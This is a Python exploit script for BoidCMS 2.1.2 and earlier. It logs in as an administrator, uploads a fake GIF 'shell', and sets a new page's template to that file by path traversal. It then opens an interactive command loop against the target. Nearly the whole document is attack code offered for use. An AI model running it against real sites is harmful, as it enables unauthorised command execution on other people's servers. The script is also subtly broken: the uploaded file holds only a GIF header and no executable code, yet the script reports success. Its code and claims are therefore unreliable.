#!/usr/bin/python3 # Exploit Title: BoidCMS v2.1.2 - Authenticated File Upload to RCE via Template Injection # Exploit Author: xp1tr # Software Link: https://boidcms.github.io/BoidCMS.zip # CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-39387 # Version: <= 2.1.2 # Pre-requisite: Authenticated Access import requests import re import argparse from datetime import datetime parser = argparse.ArgumentParser(description='Exploit for BoidCMS RCE (Upload + Template LFI)') parser.add_argument("-u", "--url", help="website url (ex: http://target.com)", required=True) parser.add_argument("-l", "--user", help="admin username", required=True) parser.add_argument("-p", "--passwd", help="admin password", required=True) args = parser.parse_args() base_url = args.url.rstrip('/') user = args.user passwd = args.passwd def get_token(session, url): req = session.get(url) token = re.findall(r'name="token" value="([a-z0-9]{64})"', req.text) if token: return token[0] return None def exploit(): with requests.Session() as s: print(f"[*] Attempting login at {base_url}/admin...") login_page = f'{base_url}/admin' token = get_token(s, login_page) if not token: print("[-] Could not find CSRF token for login.") return form_login_data = { "username": user, "password": passwd, "token": token, "login": "Login" } s.post(login_page, data=form_login_data) print("[*] Uploading shell.gif...") media_page = f'{base_url}/admin?page=media' token = get_token(s, media_page) shell_content = b"GIF89a;\n" files = {'file': ('shell.gif', shell_content, 'image/gif')} form_upld_data = { "token": token, "upload": "Upload" } upld_res = s.post(media_page, files=files, data=form_upld_data) if "shell.gif" not in upld_res.text: print("[-] Upload failed.") return print("[*] Creating malicious page with template injection...") create_page = f'{base_url}/admin?page=create' token = get_token(s, create_page) permalink = "rce_page" create_data = { "type": "post", "title": "Security Test", "descr": "POC", "keywords": "", "content": "", "permalink": permalink, "tpl": "../../media/shell.gif", "thumb": "", "date": datetime.now().strftime("%Y-%m-%dT%H:%M"), "pub": "true", "token": token, "create": "Create" } s.post(create_page, data=create_data) shell_url = f'{base_url}/{permalink}' print(f"[+] Exploit successful! Target page: {shell_url}") print("[*] Entering interactive shell (type 'exit' to quit):") while True: cmd = input("cmd >> ") if cmd.lower() == 'exit': break try: res = s.get(shell_url, params={"cmd": cmd}) output = res.text.split('GIF89a;')[1].strip() if 'GIF89a;' in res.text else res.text print(output) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()